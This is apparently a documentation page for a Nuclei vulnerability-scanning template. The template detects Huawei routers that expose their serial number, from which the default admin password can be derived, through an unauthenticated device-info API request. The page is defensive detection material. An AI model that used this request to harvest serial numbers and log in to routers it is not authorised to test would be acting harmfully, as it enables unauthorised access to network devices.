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Nuclei Templates

Huawei Router - Authentication Bypass

ID: huawei-router-auth-bypass

Severity: critical

Author: gy741

Tags: auth-bypass,router,edb,huawei

Description

Section titled “Description”

Huawei Routers are vulnerable to authentication bypass because the default password of this router is the last 8 characters of the device’s serial number which exist on the back of the device.

YAML Source

Section titled “YAML Source”
id: huawei-router-auth-bypass


info:
  name: Huawei Router - Authentication Bypass
  author: gy741
  severity: critical
  description: Huawei Routers are vulnerable to authentication bypass because the default password of this router is the last 8 characters of the device's serial number which exist on the back of the device.
  reference:
    - https://www.exploit-db.com/exploits/48310
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-288
  metadata:
    max-request: 1
  tags: auth-bypass,router,edb,huawei


http:
  - raw:
      - |
        GET /api/system/deviceinfo HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Referer: {{BaseURL}}


    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200


      - type: word
        words:
          - "DeviceName"
          - "SerialNumber"
          - "HardwareVersion"
        condition: and
# digest: 490a0046304402207be2e4d91393289a4d00d0e4ba2066a524b69fec24a46aee4858847fc99225e40220210000d941cde5e208b36bc590ece87dbb81e933ef9defba4b929f0261a69c95:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/huawei-router-auth-bypass.yaml"

View on Github